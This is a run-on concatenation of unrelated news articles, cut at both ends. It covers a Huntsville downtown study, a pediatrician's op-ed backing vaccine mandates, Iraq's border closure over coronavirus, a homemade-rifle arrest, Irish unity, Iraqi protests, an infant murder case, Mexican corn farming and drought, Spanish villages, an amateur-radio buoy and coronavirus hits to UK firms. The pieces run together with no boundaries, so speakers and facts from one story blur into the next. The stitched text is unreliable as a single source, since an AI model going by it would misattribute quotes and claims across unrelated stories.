for the fast-growing city on pace to soon be Alabamas largest. Business has blossomed in the area and the sidewalks, businesses and parks stay active well into the night. And the study, as Downey said, revealed that new downtown prosperity citing rising employment and income in the area as well as developments under construction or soon to begin. A look at needed improvements amid that typical revelry, though, was also an objective of the study that Downtown Huntsville Inc. CEO Chad Emerson described as a "deep dive." In his study, Downey placed Huntsville in a group of "emerging" downtowns an establishment of a sort of peer cities at similar stages of their downtown development. Other "emerging" downtowns, Downey said, included Durham, N.C., Tucson, Ariz., Oklahoma City, San Antonio and Tampa. "Emerging" downtowns are not as far along in their development as two other groups identified by Downey: "Growing" downtowns (Atlanta, Dallas, Charlotte, Austin) and "Established" downtowns (Seattle, Miami, Baltimore, Pittsburgh). In comparing Huntsville to other "emerging" downtowns, Huntsville was above the average in employment growth as well as residents holding a college degree. Huntsville also had more than twice the average of residents living downtown. Reports like this, of course, are most revealing for what needs to change. Downey said that Huntsville lagged behind peer emerging downtowns in transportation, spending and diversity. The report broke transportation into three categories: Walk, bike and transit scores. In all three, Huntsville was behind the emerging downtown average. Downey said only about 5 percent of people who live in downtown do not commute in a single-occupant vehicle. "A transit score at 28 (compared to a score of 44 for emerging downtowns) is significantly below most emerging downtowns," Downey said. "So it raises a little bit of a red flag of a strategic area we want to be thinking about." Mayor Tommy Battle, who attended the presentation, said that's already happening. "The interesting thing is right now, we're working on long-term plans on transportation," Battle said. "And he's not talking about the next 10 years or the next 15 years. It's 'let's get the corridors in place so we can do high-speed rail or we can do HOV (high-occupancy vehicle) lanes.' "We need to reserve the corridors today we'll use 20 years from now." Emerson said that the startup rideshare industry by companies such as Lyft and Uber are starting to make an impact in downtown Huntsville as a transportation alternative for residents. And carpooling will be a growing option for commuters as roads become more congested, Battle said. On diversity, Downey said Huntsville compiled an index score of 31 far below peer downtowns. "Diversity index is something that did jump out to us," he said. "Downtown Huntsville does not score very high compared to most emerging downtowns. Downtowns often get their strength from the mix of people from all walks of life. On average, an index score of 64 is still not enormously high but it's pretty good for emerging downtowns. Downtown Huntsville is 31. "So thinking about diversity inclusion is probably something that is part of the long-term play that's going to be important to really attract and grow a diverse and inclusive community." Battle said that detail was a surprise to him. "Some of those numbers seemed a little bit low to me," the mayor said. "But that's something to watch, something to make sure we continue to work on." The spending deficit was also a curious detail given that the study revealed Huntsville to have an above average income among those living downtown. But those residents don't seem to be spending their money downtown, Downey said. Retail sales in emerging downtowns, Downey said, are about $130 million per year but Huntsville was at $61.2 million. That's crucial given that about half of the city of Huntsville's revenue comes from sales tax. The spend is low, Downey said. And to be honest, I would take a look into that and try to understand it a little bit more especially since retail sales tax is an important of your overall revenue model. I am a pediatrician and toxicologist writing in support of HB-5044, currently under consideration in the Connecticut General Assembly. The bill would allow only true medical exemptions for vaccines. I believe that this bill will help to ensure the health of children, and will save lives. In addition to my background in pediatrics, I trained and have maintained board certification in the subspecialties of pediatric emergency medicine and medical toxicology. I have had the privilege of caring for tens of thousands of children over a span of 30 years, and my job every day is to figure out what diagnosis best explains their symptoms, to treat them and, eventually, to get them home safely. I think carefully through each case, but worry most about those who are compromised because they are not fully vaccinated. Diagnosis and treatment can be immensely more complicated when they present to the pediatric emergency department, because many viruses and bacteria are much more likely to cause disease, even death, in these children, and they often require additional testing, including blood work, respiratory swabs and chest x-rays. Their very presence may put other children, particularly infants and those with compromised immune systems, at significant risk. Early in my career, for example, we saw six unvaccinated children die unnecessarily from measles, one of the most contagious viruses known to man. And other diseases that we eradicated with new vaccines are resurgent, mainly because some parents have chosen not to vaccinate. Here is a brief illustration. In 1895, a baby boy was born to a young couple who lived in what is now eastern Poland. His name was Abou Simon Bialistocki, and he would soon have five younger brothers. He survived the usual childhood illnesses, and in 1913, a lone teenager, he sailed from Bremerhaven, in Germany, to New York, with a plan to send for the rest of the family later. In 1918, now a young man who worked at various jobs to build oil fields and airport runways, he contracted the Spanish flu, and had to be hospitalized. All around him in an open ward, people were dying from pandemic flu and its complications. The flu may have killed Bialistocki, too, but he survived and walked out of the hospital. Others were not so lucky: by 1919, the Spanish flu, later renamed influenza A/H1N1, had killed 50 million people worldwide. Why did Bialistocki survive? Perhaps some combination of youth, good genes, good health and maybe even good luck. But he did not survive because of the flu vaccine, because it did not yet exist. He went on to marry another survivor of the Spanish flu, and to have two daughters and eight grandchildren, including me. In a recent flu season, 80,000 people died in this country alone from influenza A or B; of those, 80 percent had not received their flu vaccine. Why not? Over the course of my 30-year career, I ask about vaccination refusal in general. Ive heard every excuse, and, in the absence of a significant allergy to a vaccine component, can tell you that none of these excuses rises to the level of evidence-based medicine: we did the research, personal preference, too many shots, never gotten the flu, religious reasons, afraid of needles, the flu shot gave me the flu, and the most nonsensical of them all, vaccines cause autism. I see this from my perspective as both a pediatric emergency specialist and as a medical toxicologist: I assess the risk of an enormous range of medications, consumer products, chemicals and environmental exposures, and can assure you that the benefit of vaccination greatly outweighs the risk. As everyone knows, novel coronavirus is now spreading across the globe. There is no vaccine yet. And when (not if, but when) the next pandemic flu comes around, it will most likely be a mash-up of bits and pieces of older flu strains. Those of you who receive the flu vaccine year after year will be most likely to survive. You may have read a couple of websites that convince you that you have done the research about vaccine safety. But when your research is flawed, particularly in this age of misinformation, and you subsequently refuse or even delay vaccines for yourself or your children, remember that you are gambling. You wouldnt gamble away your last dollar at Foxwoods. Why would you gamble with your childs health or life? It is often said that those who forget history are doomed to repeat it. A century ago, my grandfather had no choice to vaccinate, but today, you do. Dr. Carl Baum is a professor of pediatrics and emergency medicine at Yale School of Medicine. Iraq Thursday closed its borders with Iran and suspended issuances of visas to Iranians until further notice after the Islamic Republic Wednesday confirmed five cases of coronavirus including two deaths. The closure of the border crossings will be reinforced for three days, Anadolu reports. However imports from Iran into Iraq will continue and Iraqis coming from Iran are allowed to enter their country. The national carrier, Iraq Airways, has also suspended flights to Iran. The measures came after Teheran confirmed the deaths of two elderly citizens of respiratory illness on Thursday while three other cases were reported the same day. The two death cases are the first in the Middle East region and the seventh and eighth outside China, the epicenter of the deadly outbreak that has killed over 2,000 people in mainland China and more importantly in the city of Wuhan. The virus has spread over 25 countries across the globe. The World Health Organization, WHO, has declared the outbreak an international health emergency. A carpenter and an electrician, who started a small rifle manufacturing business by learning the process online, were arrested by the Navi Mumbai crime branch on Tuesday. The accused were found with 10 rifles and a few live cartridges after which the police raided their Karjat workshop in Khalapur. Parshuram Pirkad, 40, a carpenter, learnt weapon assembling process after he started repairing guns in his village in Khalapur. With the help of his electrician friend Dattaram Pandit, 55, Pirkad ventured into making rifles around a year ago. While Pirkad knew how to repair guns, he took help of online videos to learn how to assemble a rifle, said the police. On Tuesday, the police arrested Pirkad and Pandit from Panvel when they came on a bike carrying 10 country-made rifles and two cartridges in bags. The mechanism of the rifle is similar to licensed rifles. We have learnt that the men sold the rifles to at least four people and we are in the process of identifying the buyers. We are also verifying if the sales were made in Navi Mumbai, said Pravin Patil, deputy commissioner of police, crime. While a licensed rifles costs anywhere between 50,000 and a lakh, the duo would sell their crafted firearms for Rs15,000 to Rs30,000. Pirkad would make the weapons out of wood and steel pipes purchased from Kurla, Karjat and Khopoli. Pirkad has been repairing licensed rifles for around five years while Pandit, who has studied till Class 10, is a certified electrician. The police seized the 12 bore rifles worth 1.5 lakh along with eight unfinished rifles, furnishing colour, drill machines and other equipment used to make the guns. Officers said they are trying to trace two buyers named by the men. The firearms will be sent to the Forensic Science Laboratory in Kalina for a ballistics test. The two have been arrested under provisions of Indian Arms Act and remanded in police custody till Monday. SHARE THIS ARTICLE ON A "dangerous" man convicted of GBH is on the loose having escaped from a hospital in which he was detained. Police are warning the public to stay away from Mohamed Abdi, 24, who fled Chase Farm Hospital in Enfield at around 11am on Wednesday. He is considered dangerous and members of the public are urged not to approach him, Scotland Yard said. Abdi was being held at Chase Farm after he was sentenced to a hospital order, which are given under the mental health act, in 2017 following his conviction over grievous bodily harm. He is said to have links to the Edmonton area. In the past three years there has been a range of opinion polls suggesting that support for a united Ireland within the Northern Ireland population is anything between 13% and 48%. Likewise, polls have suggested the support for a united Ireland among the Republic's voters is anything between 60% and 80%. And, to my mind, so what? Only one poll will eventually count: the ballot box. I tend to agree with the late Christopher Hitchens: "Opinion polls are a device for influencing public opinion, not measuring it. Crack that one and it all makes sense." Rather than take opinion polls on the issue of a new Ireland - which I believe is still quite a way off - let us deal with some facts. Political unionism has been in decline for over 10 years, artificially uplifted by some electoral blips. Peter Robinson saw this coming. Jitters about talking about it will not make it go away. Read More In recent elections unionism got marginally more votes than nationalism. But the electoral tide is not with unionism. Unionism is no longer a dominant force in the citadel of Belfast. It does not command a majority within the Assembly. Its 40-year stranglehold in European elections was broken in 2019. And, now, Northern Ireland returns more non-unionists than unionists to Westminster. Of course, this is caveated by the presence of the genial Stephen Farry as MP for North Down. Alliance may regard itself as agnostic on the issue of the Union, but it's highly unlikely that the overwhelming numbers of unionist voters in North Down share that agnosticism. The unionists of the Gold Coast are just too sniffy and independent-minded to vote for a DUP MP. So, at best it is a score draw between unionist and non-unionist representation at Westminster. Whatever way one looks at it, the tide is ebbing away. With the notable exception of Mike Nesbitt, the response of unionism to this decline has taken two approaches: ostrich, like the DUP/UUP (ignore or deny and it will go away); or sabre-rattling (scaremonger, instilling fear and anger) by the TUV and fringe loyalists. Political unionism has wasted nearly 100 years by failing to sell the benefits of remaining within the United Kingdom, benefits which now look much less attractive under the Johnson/Cummings axis. Read More The DUP had to be dragged like a dead rhino into acceptance of mainstream British social legislation. None of this foot-dragging was lost on a younger generation. The DUP have been more "ourselves alone" than Sinn Fein in outlook. Sinn Fein, for its part, blows hot and cold with opinion polls. Their success in the Republic has buoyed them. The loss of Foyle to the SDLP has been ameliorated. The smarter response to abstentionism is to allow the SDLP to represent nationalist constituencies at Westminster, while Sinn Fein continue to reap the electoral benefits at local government and Assembly level. Sinn Fein may not get into government this time in Dail Eireann, but it is inevitable that they will in the future. When this occurs the DUP will feel 10 times the level of discomfort nationalists felt over the DUP 'confidence and supply' agreement with the Conservatives. The price of Sinn Fein entering a coalition government will be a firm commitment by potential partners to a unity referendum. Such a referendum is likely to occur in 2025. Far enough away not to spook unionists and close enough to give Sinn Fein something to pursue. The fact that the gift of a referendum is within the remit of the British Secretary of State for Northern Ireland is a safety net for unionism, but continued refusal to grant a referendum would fuel nationalist demands, just as it does in Scotland. And, to be fair, British Governments for over 200 years have excelled in fuelling the growth of nationalism in Ireland and elsewhere! There is an ironic inevitability to a new Ireland. Sammy Wilson, Gregory Campbell, Jim Allister and others may dismiss the prospect of an united Ireland, but it is their style of political debate and narrative for unionism which propels the argument for unity. They can hole up in Larne, Coleraine or Ballymena, but the reality of the future is unfolding beyond their bunkers. Quite simply, political unionism failed and continues to fail to make the majority of Catholics/nationalists in Northern Ireland feel like stakeholders. In fact, their belligerence may have even helped rehabilitate the perception of the general public towards some hardline republicans in the Assembly. Unionists have it in their gift to prolong the life of Northern Ireland as an entity by not only embracing a more diverse and pluralist society, but by contributing to it. Perhaps a dynamic between Arlene Foster and Michelle O'Neill will change that, but no one is hopeful. Similarly, Sinn Fein will remain toxic even to the most liberal of unionists when they see party members working up a steam over the actions of the RIC 100 years ago, but not about the murder of Paul Quinn a mere 12 years ago. In truth most nationalists - north and south - take a pragmatic approach to the prospect of an united Ireland. They would probably paraphrase St Augustine: Lord, give me an all Ireland, but not just yet. The shape, format and timing for an new Ireland does not weigh heavily among many nationalists, certainly not ahead of matters relating to healthcare, education and economic well-being. That said, the aspiration for an unified Ireland is always there, not far from the surface. It's carried in the heart, from one generation to another. This aspiration will never be caught by any opinion poll. It is part of the DNA. The trigger will come from the heart. Warren Buffet recently said: "A public opinion poll is no substitute for thought." This is the challenge for the leaders in both unionism and nationalism: where are the thinkers, shapers and the sculptors of any new Ireland? Nationalists cannot prescribe for a new Ireland without dialogue with unionists. Unionism cannot find security in Northern Ireland without meaningful outreach to nationalists. The marking of Northern Ireland's creation in 2021 will be a litmus test for unionists and nationalists alike. It could be more wake than birthday party, as sensitivity is often rendered redundant when tribes are given an opportunity for a slice of sectarian coat-trailing. A new Ireland may not be what some nationalists envisage or unionists fear. At face value, the structures may not be so different to now. Stormont may even co-exist within the Republic. But one thing is for sure, when a new Ireland occurs, it will be on a tidal wave of emotion, not statistics or percentages in opinion polls. Tom Kelly is a political commentator and writer Share this article Whatsapp Facebook Twitter Linkedin Mohamad Ali Harissi (Agence France-Presse) Baghdad, Iraq Fri, February 21, 2020 10:26 691 7f440ff09e92db75a02bbad2065c1812 2 World Iraq,social-activism,social-change,movement Free Mocking clerics, falling in love at rallies and mending a broken society: even if Iraq's young protesters have failed to overthrow entrenched politicians, they have scored by shattering decades-old taboos. Since October, the country of 40 million has been rocked by a historically large grassroots movement with big goals: ending corruption, unaccountable sectarian parties and overreach from neighboring Iran. Prime Minister Adel Abdel Mahdi resigned in December, only to be replaced by ex-minister Mohammad Allawi, slammed by protesters as too close to the ruling elite. But what they have so far been unable to win politically, demonstrators have made up for with social change. "We scored one goal by bringing down the government, but socially we achieved much more," said Ali Khraybit, 28. His best friend just proposed to a girl he met marching in Baghdad's Tahrir Square, the anti-government movement's epicenter. Like other squares across Iraq's mainly-Shiite south, Tahrir has become a social experiment, a free space where conservative norms have been toppled. Youth chant against a once-untouchable cluster of politicians and paramilitary commanders, and women spend nights in tents next to adult men. Students defy orders to return to class and neighborhoods once seen as dangerous are buzzing with people en route to demonstrate. Slogans like "Forget outdated traditions," "End classism" and "No more differences" are trending on Twitter in Iraq. "Tahrir lets us dream," wrote one activist whose friend -- who ekes out a living driving a rickshaw -- had fallen in love with a medic from a prestigious family. 'More to life than surviving' Since the 1970s, Iraq has endured Saddam Hussein's authoritarian regime, back-to-back wars and devastating sanctions that isolated it from the world. There were few cellular phones and barely any internet access until the 2003 US-led invasion that collapsed Saddam's nominally secular regime. Sectarian fighting gave rise to hardline Shiite and Sunni militias as society became more divided and religious. When Iraq defeated the Islamic State group in 2017 after years of fighting and displacement, many anticipated long-overdue peace and prosperity. "The young generation was in a coma for many years, but stability opened their eyes to the truth: there is more to life than just surviving," said protester Ahmad Haddad, 32. "There's living in dignity in a civil society, breaking conservative norms and loosening the grip of religious parties," said Haddad. But instead of easing into normality, it was a sudden uprising that transformed Iraq. Hiyyam Shayea, a 50-year-old teacher in protest-hit Diwaniyah province, can testify to that. "There were some huge, surprising changes to a lot of social affairs," said Shayea, wearing a traditional black robe at a recent rally in her hometown. Such a stance had long been unimaginable in the south, where tribal customs trump federal law and restrict women's public role. But it has come at a high price. Around 550 people have been killed and 30,000 wounded in protest-related violence. "That was all for a homeland -- one that's civilized and civil, not backwards and outdated," said Shayea. 'In the end, what did you do?' Some are resisting the changes, describing rallies as hotbeds of promiscuity, alcohol and drugs, fuelled by the West. Leading Iraqi cleric Moqtada Sadr has tried to discredit the movement with such claims, insisting men and women stay separate and protests be "cleaned." Women swiftly organized their own rally mocking Sadr, long untouchable because of his violent past as a militiaman and his diehard followers. In the protests' early days, angry crowds slapped shoes against portraits of paramilitary leaders and Iranian general Qasem Soleimani, who held tremendous sway in Baghdad and was never publicly criticized. Soleimani was later killed in a US strike. Demonstrators also railed against "muhassassa," the sectarian power-sharing system governing Iraq after Saddam. Few current protesters are old enough to remember Saddam -- 60 percent of the population is under 25 -- and blame their elders for Iraq's slide into broken politics. The rallies exposed "a huge rift" between the two generations, Iraqi researcher Khaled Hamza told AFP. "We're in the middle of a spontaneous movement by a group of youth who weren't expected to be responsible for achieving what our generation couldn't," said Hamza, who is in his 60s. Protesters recognize it, too. In Baghdad, a woman in a pink headscarf carried a sign: "In the end, I made a revolution. What did you do?" Further south in oil-rich Basra, Heba, a protester in her 20s, said the rallies have changed her. "They strengthened our personalities, made us distinguish between right and wrong and demand our rights," she said. The movement is now at a crossroads: numbers have dwindled as activists face an intimidation campaign and parties seek to recapture momentum with a new cabinet. "Now, it's time to unite under a new vision, a plan that addresses Iraqis' needs," said protester Mohammad al-Ajeel. "What's happening is huge, but it's new for us. We can't expect everything to happen overnight," said Ajeel, a businessman living between Iraq and the UAE. "It may need years." The nearly two decade old murder of a newborn baby in North Carolina, may finally have been solved. The Cumberland County Sheriffs Office announced that they have arrested a woman in connection with the 1999 murder of a newborn baby in which the child had been tossed from a moving vehicle in a sack, dying of blunt force trauma. The child still had its umbilical cord attached when it was found by a passing soldier. The Fayetteville Observer reported that Deborah Riddle OConner, 54, of Burke County, was arrested by Cumberland County Sheriffs investigators and will have her first court appearance on Friday. DNA evidence examined by a forensic genealogy service provided investigators with a break in the case which led them to Ms OConner. When investigators visited Ms OConner and interviewed her about the murdered child, police claim Ms OConner admitted she had been the mother and was arrested. The woman did not comment on her motives and, according to the Observer, has several adult children. Ms OConnor has been charged with first-degree murder and is currently being held at the Cumberland County Detention Center without bond. Under North Carolina law, a first degree murder conviction could result in sentences ranging from life in prison to the death penalty if prosecutors could establish aggravating circumstances. The murder of the child - which the Cumberland County Sheriffs Office named Baby Michael after the patron saint of law enforcement - has been a grim shadow hanging over the department for the last 20 years. Recommended Man accused of killing Amie Harwick could get death penalty The sheriffs office held a funeral for the baby on March 30, 1999. Investigators on the case visited Baby Michaels grave annually to remember the case. Were just like anybody else, because we have families, we have children and that affected this whole sheriffs office, Cumberland County Sheriff Ennis Wright said at a Friday press conference. Throughout the years, weve spent many hours, long days, long nights [on the case]. At some point, we didnt think we were going to solve it. But at this office we never give up. Vinamilk has become the second Vietnamese dairy company eligible to export milk products to China after TH Milk Joint Stock Company. TH Milk exported its first batch of pure sterilized fresh milk and sterilized fresh milk added with natural flavours to China in October 2019. The Chinas General Administration of Customs said that it will continue to review and evaluate records of other Vietnamese dairy companies. This is good news for the Vietnams dairy industry in early 2020, reflecting the efforts of management agencies in accompanying enterprises over the past years. However, experts have said that sweetened condensed milk and other condensed milk are not the main products of Vinamilk, the largest milk producer in Vietnam. Thus, the Ministry of Agriculture and Rural Development still has much work to do to help the Vietnamese dairy company to export more products to the Chinese market to take advantage of the preferential import tax rates that Vietnam negotiated with China over 10 years ago. Global warming may hurt Mexico more than many other countries. At least 9,000 years ago, humans began domesticating corn for the first time near Tehuacan, in the central Mexican state of Puebla, laying the foundation for permanent settlements in the Americas. But in the past few years, more frequent and longer droughts have forced many farmers in the area to give up corn and other cereals in favour of alternatives requiring less water, such as pistachio nuts and cactuses. Agricultural experts predict parts of Mexico will feel the effects of climate change more than many countries, not least because its location between two oceans and straddling the Tropic of Cancer exposes it to weather volatility. Sol Ortiz-Garcia, director of the agriculture ministrys climate change group, noted that 75 percent of Mexicos soil is already considered too dry to cultivate crops. In regions such as Tehuacan, temperatures may rise more than the global average. We know there are areas where the increase is going to be greater. That will obviously affect rain patterns, and in turn, agriculture and food security, Ortiz-Garcia said. The area under corn cultivation in Tehuacan decreased 18 percent to about 40,000 hectares between 2015 and last year, shows a Reuters news agency calculation using statistics by the agriculture ministry, outstripping a nationwide decline. In the five years before that, the area planted with corn had been slowly increasing in Tehuacan. Nationally, the area under corn cultivation declined four percent from 2015 to 7.4 million hectares last year. While factors leading farmers to switch crops are complex, in Tehuacan farmers and local officials describe a fast-changing climate as a leading cause. Mexicos rainy season last year was the driest since 2011, which in turn was one of the driest on record, numbers from the countrys national water agency showed. Climate change is expected to cause substantial declines in yields of corn globally, especially in the tropics, concluded a 2018 study published in the Proceedings of the National Academy of Sciences of the United States of America. There may be exceptions. The corn belt in the US Midwest is so vast that one recent study concluded the expanses of lush fields were actually helping increase rainfall locally and also cut temperatures, thus allowing even more corn to be grown. Under this model, intensive farming meant more moisture being released into the atmosphere from plants on a scale great enough to create more rainfall. The greater humidity also contributed to summers up to one degree Celsius cooler, concluded the study, by the Massachusetts Institute of Technology. Stunted cobs In Tehuacan, however, conditions are fast changing for the worse. In a field where dried-out plants have been lingering in the dust since the last drought, farmer Porfirio Garcia, holding a stunted cob, was struggling to make sense of it all. Corn has for thousands of years been a symbol of Mexican pride, a staple of local and national cuisine from tortillas to tamales and the backbone of civilizations that gave rise to modern Mexico. But climate change has jeopardised that. Garcia, who has 12 children, half of them working with him on the farm, recalls how one hectare in some years yielded as many as four tonnes (8,800lbs) of corn. In the past five years, he said, with luck that hectare yielded 700kg (1,543lbs). The corn harvest has shrunk because in the months of June, July, August and September there was no rain, said Garcia, 59, who uses ancestral farming techniques to grow corn, beans and pumpkin, an ancient system called a milpa. Our lives center on corn, so what do we do without it? Eusebio Olmedo, director of rural development, agriculture and livestock in Tehuacan, recalls that it began to get hotter at the turn of the millennium. Having worked in the department for five years, Olmedo said the area used to be characterised by a very pleasant, very benevolent climate. Last year was the warmest on record in the state of Puebla where Tehuacan is located with thermometers reaching an average maximum temperature of 26.8 Celsius (80 F). In 1985, the first year that state records were available, Puebla registered an average maximum temperature of 24.7 Celsius (76 F). A 2016 study commissioned by the environment ministry and backed by the United Nations Development Programme concluded that climate change in Mexico will mean less rain, lower yields for basic grains such as corn, beans and wheat, as well as unexpected effects on food security. When rain patterns change, agriculture becomes risky, Olmedo said. Mexican corn farmers have suffered major shocks in the past most notably the arrival of cheap imports from the US under the North American Free Trade Agreement in the 1990s. In the north of Mexico, where large cornfields are irrigated, climate change may initially have little impact, studies show. But in the south, where the oldest corn strains on Earth are grown using traditional methods without irrigation, the changing rain patterns and temperatures are already being felt. Agricultural consulting group GCMA estimates Mexican corn production will continue to decline in 2020, and that corn imports mainly from the US will reach a record 18 million tonnes. Adapting Mexico is now the worlds second-largest corn importer thanks to a reliance on US grain for animal feed. President Andres Manuel Lopez Obrador calls that a contradiction, and has implemented programmes to boost national production. Garcia, however, chose to diversify into other crops, planting 300 trees of pistachio, a desert plant that can withstand temperatures between minus 10C (14F) and 40C (104F). Nearby farmer Natalio De Santiago also abandoned the corn that he, his father and his grandfather used to plant for other crops that require less water. Those include maguey, a raw ingredient for mezcal, a Mexican liquor. I stopped sowing [corn] because the weather is changing, said De Santiago, 56. Now I plant maguey because it needs less water. Wearing a cowboy hat to shield his face from the sun, he said he irrigates 400 maguey plants every month with a litre of water each. When he planted corn, he said, his crops needed four months of rain. Others in the area gave up agriculture altogether and sold land to real estate developers. In an attempt to stop this trend, local authorities developed a bank of native corn seeds that are more resistant to pests and that need less water. We have to adapt to climate change, and these are the best varieties to recover food self-sufficiency, Olmedo said of the seeds. Other government measures meant to help farmers adapt to and mitigate the effects of climate change include agricultural insurance, alternative crops and campaigns to reduce agricultural burning. Its very difficult to reverse the tendency to increase CO2 [carbon dioxide] in the atmosphere, said the agricultural ministrys Ortiz-Garcia. Thats why were prioritising adaptation. Climate change is here to stay, she added. 1. Caracena (Soria) Soria province, in the region of Castilla y Leon, contains numerous hamlets that have fallen into oblivion but were once important administrative centers in medieval times. These include places such as Caracena, a small village located 26.7 kilometers from El Burgo de Osma, which was the administrative seat for more than 30 hamlets back in the 12th century. It is possible to get there by car along the road from San Esteban de Gormaz, but walking there makes for a nice two-hour trek: the trail follows the gorge of the River Adante from Tarancuena, and affords views of vultures and other birds of prey as they glide over the ravine. Just a 15-minute drive from Caracena, along the SO-135 road, visitors will find the ruins of Tiermes, a Celtiberian settlement that was conquered by the Romans in the year 98 BC, and was turned into a vibrant town with a theater, baths and large mansions. Another landmark in the area is the pre-Romanesque shrine of Our Lady of Val, within the municipal limits of Montejo de Tiermes. sorianitelaimaginas.com 2. Valderrobres (Teruel) Entrance to the medieval town of Valderrobres, in Teruel province. Ainara Garcia One of the few places in Spain where it is still possible to drive for hours without seeing any other cars is the Comarca del Matarrana, an area comprising several municipalities in the northeastern part of Teruel province. Some people call it the Tuscany of Spain although there is no need for comparisons. Matarrana is a land of olive and almond trees, and 18 of its villages are considered among the most beautiful in the entire region of Aragon. There are towns dating back to the Middle Ages and the Renaissance, such as Beceite and Valderrobres, which had its heyday between the 14th and 16th centuries thanks to the sale of oil and saffron. Valderrobres has a walled town with cobblestoned streets, magnificent stone houses and an imposing 12th-century castle commissioned by King Alfonso II of Aragon. Access to the old city requires walking through a crenelated door on the medieval stone bridge over the river that lends its name to the entire comarca. comarcamatarranya.es 3. San Andres de Arroyo (Palencia) Cloister of the monastery of San Zoilo in Carrion de los Condes (Palencia). Gonzalo Azumendi In northern Palencia province, within a 30-kilometer radius around Aguilar de Campoo, there are 50-odd constructions dating back to the period between the 10th and 13th centuries, comprising one of the greatest concentrations of Romanesque art in the whole of Europe. The regions isolation greatly helped preserve this collection of cloisters and churches, of which there are sublime examples such as the shrine of Santa Cecilia in Vallespinoso de Aguilar; Santa Eufemia de Cozuelos in Olmos de Ojeda, where it is possible to see the influence of Cistercian architecture; or the monastery of San Andres de Arroyo, a 13th-century construction whose cloister, with its delicately carved chapiters and columns, illustrates the refined heights reached by Romanesque art in Spain. San Andres de Arroyo is also a good starting point for a route of Palencias Romanesque architecture, which includes stops at the churches of San Martin, in Fromista, and San Zoilo in Carrion de los Condes. turismoenpalencia.com 4. Valencia de Alcantara (Caceres) A dolmen in Valencia de Alcantara (Caceres). Zoonar/LMatrisch (age) In the fields surrounding Valencia de Alcantara, inside the Tagus International Natural Park, which straddles Spain and Portugal, there lies one of the most important megalithic sites in the Iberian peninsula: more than 40 well-preserved dolmens that can easily be discovered by following low-difficulty trails. Built out of granite or slate, some of them are truly spectacular, such as the dolmen of Las Tapias or the three dolmens of La Zafra. Another stone construction, a Roman bridge made in the second century, still helps todays travelers cross the Tagus River. In 1497, the church of Nuestra Senora de Rocamador held the wedding of Isabel, daughter of Spains Catholic monarchs, and Manuel I, king of Portugal. The event is commemorated on the last weekend of July in Valencia de Alcantara and in the neighboring Portuguese town of Marvao, where there are historical reenactments, street activities and parades. The nearby convent of San Benito is one of the three great monasteries of Extremadura region, together with Guadalupe and Yuste. valenciadealcantara.es 5. Pradena de la Sierra (Segovia) Cave of Los Enebralejos, in Pradena de la Sierra (Segovia). Jose Miguel Moreno Beautiful calcareous formations and 4,000-year-old graves are concealed under the village of Pradena de la Sierra in Segovia province. Discovered in 1932, the cave of Los Enebralejos has more than 3.5 kilometers of underground galleries that were used as a necropolis since the late Neolithic period. In 1995, around 500 meters were made user-friendly and visitors can now go inside and contemplate wonders such as the Wall of Colors. The most interesting part, however, are the numerous graves containing ceramic vases, bone tools and food offerings, as well as drawings and schematic engravings that were discovered inside the Burial and Sanctuary rooms. Outside the cave, there is a recreation of a prehistoric settlement complete with mud and wooden huts. Another highlight is a circular six-kilometer walking trail that goes through the largest forest of holly in the Central System mountain range. And in between the nearby municipalities of Sigueruelo and Arcones, there lies one of Spains best-preserved forests of sabinas, a type of juniper: the Enebra de Sigueruelo. cuevadelosenebralejos.es English version by Susana Urra. City Editor Tom Roeder is the Gazette's City Editor. In Colorado Springs since 2003, Tom has covered the military at home and overseas and has covered statehouses in Denver and Olympia, Wash. His main job, though, is being dad to two great kids. NEMO-1 Ham Radio Buoy report On January 30 at noon, AMSAT ARGENTINA launched the NEMO-1 buoy into the Atlantic sea, callsign LU7AA. It was transported 70 km east of Mar del Plata by the fishing vessel 'Porteno', from Sandokan The buoy, which transmits in WSPR mode at 14095.6 kHz and FM VHF in APRS mode, navigated drifting free for 12 days traveling about 1100 kilometers, until on February 11 it was sighted and taken out of the water by the tuna vessel 'Juan Pablo II'. The captain of the ship, Rinaldi Yaco, considered that the buoy was sailing semi-sunk and decided to rescue it, informing Amsat Argentina of that event. The NEMO-1 then traveled eight more days aboard the tuna vessel, continuing its mission of data capture and broadcasting, until on Feb-19 it arrived at the port of Mar del Plata, where colleagues from the Mar del Plata Radio Club picked it up and kept in custody. A group of AMSAT-LU is traveling to recover NEMO-1. The buoy will be reconditioned and a new launch is planned. It will be tried to take it, on this occasion, to more than 200 km offshore, so that it will continue to navigate freely, reaffirming the commitment and contribution of radio amateurs to QRPp propagation research also helping navigation and the community. AMSAT ARGENTINA especially thanks the Captains and crews of the 'Porteno' and the 'Juan Pablo II' ships and the Mar del Plata RClub in the persons of its Secretary, Jose Luis Hermida (LU9DHJ) and Jorge Garelli (LU5EOR) for the help provided and to the more than 100 'travelers' in NEMO-1, who supported this project helping to carry it out http://amsat.org.ar?f=ce Adventure photos: http://amsat.org.ar?f=buoy 73, LU7AA, AMSAT Argentina http://amsat.org.ar/ https://facebook.com/AMSAT.LU Two FTSE 350 companies have joined the ranks of firms warning the coronavirus outbreak has had a negative impact on their business already. Recruitment firm Hays and engineering company Aveva Group have said that the travel restrictions put in place to curb the spread of the COVID-19 epidemic has caused them material damage. Aveva, which is one of Britain's biggest tech groups and makes 5 per cent of its revenues in China, said Chinese sales had been knocked by coronavirus disruption. International Monetary Fund Managing Director Kristalina Georgieva warned that the 'highly fragile' global economic recovery could cause 'substantial supply chain disruptions' Hays meanwhile expect the virus to continue to affect it until the third quarter of the 2020 financial year. The two businesses are just the latest British companies, which rely to a significant extent on Chinese markets for sales or supply parts, to announce that the virus is hurting their financial performance in the country. Their results come the day after International Monetary Fund Managing Director Kristalina Georgieva warned that the 'highly fragile' global economic recovery could cause 'substantial supply chain disruptions.' Jaguar Land Rover has resorted to transporting parts in suitcases to its UK factories in order to stop production lines being shut down. Adhesive manufacturer Norcros, which owns the Johnson Tiles business, also warned today in a trading update that it expects to be economically affected by a 'slower than anticipated return to full production' at its China-based suppliers. Hays's chief executive Alistair Cox told the PA that recruitment in China had been 'very subdued' as offices were shut until February 10 on the advice of the Chinese government. Jaguar Land Rover has resorted to transporting parts in suitcases to its UK factories in order to stop production lines being shut down 'Everyone has been concerned about their own health and safety and that of their families - it has to be everyone's priority,' he said. The group, which employs around 300 staff across five offices in Greater China, said the virus had compounded issues for the region after protests in Hong Kong and the trade war with the US. Operating profits fell 20 per cent in its 'rest of the world' region, which includes China, over the six months to December 31. Overall group pre-tax profits tumbled 22 per cent to 95.5million in the half-year, with the UK election adding to woes at the end of 2019. Economic forecaster Oxford Economics estimates that if the COVID-19 outbreak were to 